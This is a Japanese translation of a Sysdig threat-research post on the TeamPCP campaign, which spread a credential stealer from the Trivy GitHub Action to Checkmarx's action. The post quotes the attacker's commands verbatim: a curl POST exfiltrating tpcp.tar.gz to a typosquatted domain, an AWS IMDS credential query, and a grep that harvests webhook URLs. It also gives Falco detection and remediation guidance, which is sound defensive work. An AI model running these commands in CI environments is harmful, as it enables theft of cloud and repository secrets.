Falco Feedsは、オープンソースに焦点を当てた企業に、新しい脅威が発見されると継続的に更新される専門家が作成したルールにアクセスできるようにすることで、Falcoの力を拡大します。
本文の内容は、2026年3月23日に Sysdig Threat Research Team が投稿したブログ(https://www.sysdig.com/blog/teampcp-expands-supply-chain-compromise-spreads-from-trivy-to-checkmarx-github-actions) を元に日本語に翻訳・再構成した内容となっております。
2026年3月19日、TeamPCPとして知られる脅威アクターは、Aqua SecurityのTrivy脆弱性スキャナーおよび関連するGitHub Actionsを侵害し、数千のリポジトリにわたるCI/CDパイプラインに認証情報を窃取するペイロードを注入しました。このインシデントは広く報道され、StepSecurityなどによる詳細な分析が公開されています。
しかし、まだ公には報告されていないのは、同じ攻撃パターンがその後、CheckmarxのAST向けの別の無関係なGitHub Actionにも現れたという点です。Sysdig Threat Research Team（TRT）は、TeamPCPの活動で使用されたものと同一の認証情報窃取ツールが、Checkmarx/ast-github-actionを通じて実行され、タイポスクワットされたドメインへ暗号化されたシークレットを流出させているのを観測しました。これは、最初のTrivy侵害からわずか約4日後のことでした。このことは、Trivy侵害で窃取された認証情報が、影響を受けたリポジトリ内の他のアクションを汚染するために使用されたことを示唆しています。
背景：Trivyの侵害
TeamPCPによるTrivyへの攻撃は広く詳細に記録されています。脅威アクターは、aquasecurity/trivy-actionリポジトリにおいて76のバージョンタグのうち75を強制的にプッシュし、これらを「TeamPCP Cloud stealer」を含む悪意のあるコミットへとリダイレクトしました。
CI/CDワークフローがこれらのタグを参照すると、侵害されたアクションは多段階のペイロードを実行しました。
- 認証情報の収集：Runner.Workerプロセスからメモリ内に保存されたシークレットを抽出するために、/proc/*/memをスキャン
- クラウドメタデータの収集：IAM認証情報を取得するために、169.254.169.254にあるAWS Instance Metadata Service（IMDS）へクエリを実行
- Webhookの列挙：ワークスペース内でSlackおよびDiscordのWebhook URLを検索
- 暗号化されたデータ流出：収集したシークレットをAES-256+RSA-4096で暗号化されたアーカイブ（tpcp.tar.gz）にまとめ、curl POSTを使用してタイポスクワットされたドメインへアップロード
データ流出先は scan.aquasecurtiy[.]org であり、これはAqua SecurityのGitHub組織名（aquasecurity）を意図的に誤綴りしたもので、45.148.10.212に解決されました。
Checkmarx の波
Trivyを利用した攻撃が開始されてから約4日後、Sysdig TRTは別のGitHub Action（Checkmarx/ast-github-action バージョン2.3.28）から発生する、同一の情報窃取活動の第2波を観測しました。
Checkmarxのイベントにおけるプロセスツリーは、エントリポイントが異なる点を除き、Trivyのイベントと同じ構造に従っています。
- Trivy chain:
Runner.Worker → bash → entrypoint.sh (trivy-action) → curl POST - Checkmarx chain:
Runner.Worker → bash → setup.sh (ast-github-action/2.3.28) → curl POST
curl コマンドも機能的には同じです。
curl -s -o /dev/null -w %{http_code} -X POST https://checkmarx[.]zone \
-H Content-Type: application/octet-stream \
-H X-Filename: tpcp.tar.gz \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz
これは、同じ tpcp.tar.gz というファイル名、同じ –data-binary によるアップロードパターン、同じ -w %{http_code} によるステータス確認、そして同じ X-Filename ヘッダーを特徴としています。唯一の違いは次のとおりです。
各汚染されたアクションごとにベンダー固有のタイポスクワットドメインが使用されている点は、意図的な欺瞞手法です。CI/CDログを確認するアナリストは、一見するとそのアクション自身のベンダードメインへのcurl通信を目にすることになり、手動での検知の可能性が低下します。
攻撃段階のサポート
Checkmarxの波には、Trivyの波で観測されたものと同じ補助的な活動が含まれていました。
- IMDS認証情報の収集:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
このコマンドは、Instance Metadata Serviceから一時的なAWS認証情報を取得します。AWSまたはAzure上でホストされたCIランナー（IMDSが利用可能な環境）においては、これらの認証情報により、ランナーのIAMロールに紐づくクラウドリソースへのアクセスが可能になる場合があります。
- Webhook URLの列挙:
grep -r "hooks.slack.com\|discord.com/api/webhooks" . 2>/dev/null | head -20
このコマンドは、チェックアウトされたリポジトリのワークスペース内でSlackおよびDiscordのWebhook URLを検索します。これらは、二次的なデータ流出やソーシャルエンジニアリングに利用される可能性があります。
どのようにしてこれが発生したのか
TeamPCPの情報窃取ツールの主な機能は、CIランナーのメモリから認証情報を収集することです。侵害されたTrivyアクションがワークフロー内で実行されると、Runner.WorkerプロセスのメモリからGitHubのパーソナルアクセストークン（PAT）やその他のシークレットを抽出します。これらのトークンが、Checkmarxのアクションも使用しているリポジトリに対して書き込み権限を持っている場合、攻撃者はそれらを利用して追加のアクション依存関係に悪意のあるコードをプッシュすることができます。
これにより、連鎖的なサプライチェーン侵害が発生します。1つの汚染されたアクションが認証情報を収集し、それによってさらに別のアクションの汚染が可能となり、それぞれがパターンベースの検知を回避するために異なるタイポスクワットドメインを使用します。
Sysdig SecureとFalcoによるランタイム検知
サプライチェーン侵害は、runner より上流にあるほとんどの予防的コントロールを回避します。このケースでは、悪意のあるコードが信頼されたアクションのソースに注入されたため、コードレビューや依存関係スキャンは機能しませんでした。タグベースのアクション参照（例：@v2）は、タグを悪意のあるコミットへ強制的にプッシュすることで無効化されました。コミットSHAによるピン留めのみが影響を受けませんでした。ワークフローが実行される時点ですでにアクションは侵害されているため、パッチ適用までの猶予がゼロに近づくと、ランタイム検知が主要な防御手段となります。
TeamPCPの情報窃取ツールは、どのGitHub Actionによって配信されるかに関係なく、固定されたキルチェーンに従います。そのチェーンの各段階はシステムコールのアクティビティを生成し、特定の侵害されたアクションに関する事前知識がなくても、FalcoやSysdig Secureが検知できるよう設計されています。
キルチェーンと検知の対応関係
なぜランタイム検知がここで有効なのか
これら4つのルールは、基盤となる情報窃取ペイロードが同一であるため、TrivyとCheckmarxの両方の波を検知しました。これらのルールは、特定の侵害されたパッケージのシグネチャではなく、挙動（システムコール、ネットワーク接続、プロセス引数）に基づいて動作します。静的解析や依存関係スキャンは、悪意のあるコードが信頼された署名付きアクションに注入されたため機能せず、ネットワークベースの検知も、タイポスクワットドメインが新規登録でありクリーンなレピュテーションスコアを持っていたため失敗しました。しかし、ランタイム検知は成功しました。なぜなら、攻撃者は最終的にデータを窃取し流出させるためにシステムコールを実行する必要があり、それらのシステムコールは、どのようにしてコード実行に至ったかに関係なく観測可能であるためです。
最もシグナルの強いルールは「LOTLバイナリを使用したAWS IMDS認証情報の流出」であり、IMDSへのアクセスとその後のデータアップロードを相関させます。これらの挙動はそれぞれ単独ではCIパイプライン内で正当である可能性がありますが、同一のプロセス系譜から組み合わさって発生した場合、CRITICALとして扱われます。「curlによるファイルのデータ流出」ルールは、宛先ドメインに依存せずにデータ流出のステップを検知するため、攻撃者がaquasecurtiy[.]org、checkmarx[.]zone、あるいは将来のいかなるタイポスクワットドメインを使用した場合でも機能します。
タイポスクワットドメインの検知
これらの攻撃に対しては、ネットワークレベルの検知だけでは不十分です。scan.aquasecurtiy[.]org と checkmarx[.]zone はいずれも悪用時点では脅威インテリジェンスフィードにおいてクリーンと判定されていました。これらのドメインは新規に登録されたものであり、過去の悪意ある履歴がなかったためです。検知はドメインのレピュテーションに依存するのではなく、挙動（CIランナーから外部ドメインへのバイナリデータのcurl POST）に焦点を当てる必要があります。
セキュリティ侵害の指標
データ流出ドメイン
データ流出の指標
侵害された actions
推奨事項
- 影響を受けた期間中にCIランナーからアクセス可能であったすべてのシークレット、トークン、およびクラウド認証情報をローテーションしてください。これには、GitHubのPAT、AWS/Azure/GCPのサービスプリンシパル認証情報、リポジトリまたは組織設定に構成されたすべてのシークレットが含まれます。
- 2026年3月19日から23日までのGitHub Actionsのワークフロー実行を監査し、ランナーログ内にtpcp.tar.gz、aquasecurity、またはcheckmarx.zoneへの参照がないか確認してください。
- フォールバックメカニズムによるデータ流出の成功を示す指標として、tpcp-docsという名前のリポジトリが存在しないか、GitHub組織内を検索してください。
- GitHub Actionsはバージョンタグではなく、完全なコミットSHAで固定してください。タグは強制的にプッシュ可能ですが、コミットSHAは不変です。
- 初期侵入経路に関係なく、認証情報の窃取やデータ流出を検知できるよう、CIランナーのインフラにSysdig SecureまたはFalcoのランタイム検知を有効化してください。
- CIランナーからのアウトバウンドネットワーク接続を監視し、想定されるアーティファクトリポジトリと一致しないドメインへのcurl POSTリクエストがないか確認してください。
- CIランナーのコンテナからのIMDSアクセスを、ホップ制限付きのIMDSv2で制限するか、クラウド認証情報が不要な場合はIMDSを完全に無効化してください。
まとめ
Checkmarx/ast-github-actionにおいてTeamPCPの情報窃取ツールが出現したことは、サプライチェーン侵害が単発の事象ではないことを示しています。1つの汚染されたアクションが認証情報を収集し、それによって追加のアクションの侵害が可能となり、CI/CDエコシステム全体に連鎖的な影響を生み出します。同一のペイロード、暗号化方式、およびtpcp.tar.gzという命名規則は、これが同一の脅威アクターによるものであり、初期のTrivy侵害を超えて影響範囲を拡大していることを裏付けています。
タグベースのアクション参照やドメインのレピュテーションのみに依存している組織は、Checkmarxの波を完全に見逃していた可能性が高いと考えられます。なぜなら、これは異なるアクションと異なるドメインを使用しており、初期のTrivyに関するアドバイザリーが他に注意を向けていた後に出現したためです。ランタイム検知は、どのアクションによって配信されるかに関係なく基盤となる挙動が同一であるため、両方の波に対して有効であることが証明されました。すなわち、CIランナーのプロセスが元のワークフローには含まれていない外部ドメインへ暗号化されたバイナリデータをアップロードするという挙動です。
2025年のtj-actions/changed-filesから、2026年のTeamPCPによる複数アクションにまたがるキャンペーンに至るまで、CI/CDサプライチェーン攻撃の頻度が増加していることを踏まえると、ビルドインフラのランタイム監視はこれまで以上に重要になっています。